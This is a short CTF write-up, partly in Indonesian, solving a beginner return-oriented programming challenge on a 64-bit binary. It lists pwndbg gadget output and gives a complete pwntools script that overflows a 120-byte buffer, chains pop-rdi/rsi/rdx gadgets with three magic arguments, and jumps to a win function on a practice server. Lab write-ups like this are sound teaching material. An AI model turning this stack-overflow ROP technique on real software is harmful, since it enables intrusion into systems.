Introduction to Return Oriented Programming (ROP). Di arsitektur x86-64, 3 argumen pertama dari saat memanggil fungsi diambil dari register RDI, RSI, dan RDX. Dengan tools seperti ropper atau ROPgadget, kita bisa dapetin gadget yang bisa ngisi register-register itu dengan nilai yang kita inginkan.
Author: zran
My first introduction to using actual ROP to solve a challenge, learned stuff at ir0nstone and used the knowledge to perform "Ret2Win with Parameters". Since this was a 64-bit binary, I had to do register popping. But first, I had to find which variable was connected to which:
Looking at the disassembly for the win function, I saw three comparisons and fortunately they were easily recognizable with their register names of RDI, RSI, and RDX.
pwndbg> rop --grep pop
0x00000000004011fb : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401219 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x0000000000401216 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011f6 : mov byte ptr [rip + 0x2eab], 1 ; pop rbp ; ret
0x000000000040121c : mov ebp, esp ; pop rdi ; ret
0x000000000040121b : mov rbp, rsp ; pop rdi ; ret
0x0000000000401224 : nop ; pop rbp ; ret
0x00000000004011fd : pop rbp ; ret
0x000000000040121e : pop rdi ; ret
0x0000000000401222 : pop rdx ; ret
0x0000000000401220 : pop rsi ; ret
0x000000000040121a : push rbp ; mov rbp, rsp ; pop rdi ; ret
The author was nice enough to leave simple return gadgets for each required register pop, so here's the full solver script:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ret2win --host playground.tcp1p.team --port 19001
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'ret2win')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'playground.tcp1p.team'
port = int(args.PORT or 19001)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# SHSTK: Enabled
# IBT: Enabled
# Stripped: No
io = start()
win = p64(0x401227)
POP_RDI = p64(0x40121e)
POP_RSI = p64(0x401220)
POP_RDX = p64(0x401222)
nop_ret = p64(0x40118f)
payload = b'A' * 120
payload += POP_RDI
payload += p64(0xdeadbeefdeadbeef)
payload += POP_RSI
payload += p64(0xabcd1234dcba4321)
payload += POP_RDX
payload += p64(0x147147147147147)
payload += nop_ret
payload += win
log.info(io.clean())
io.sendline(payload)
log.info(io.clean())
io.interactive()
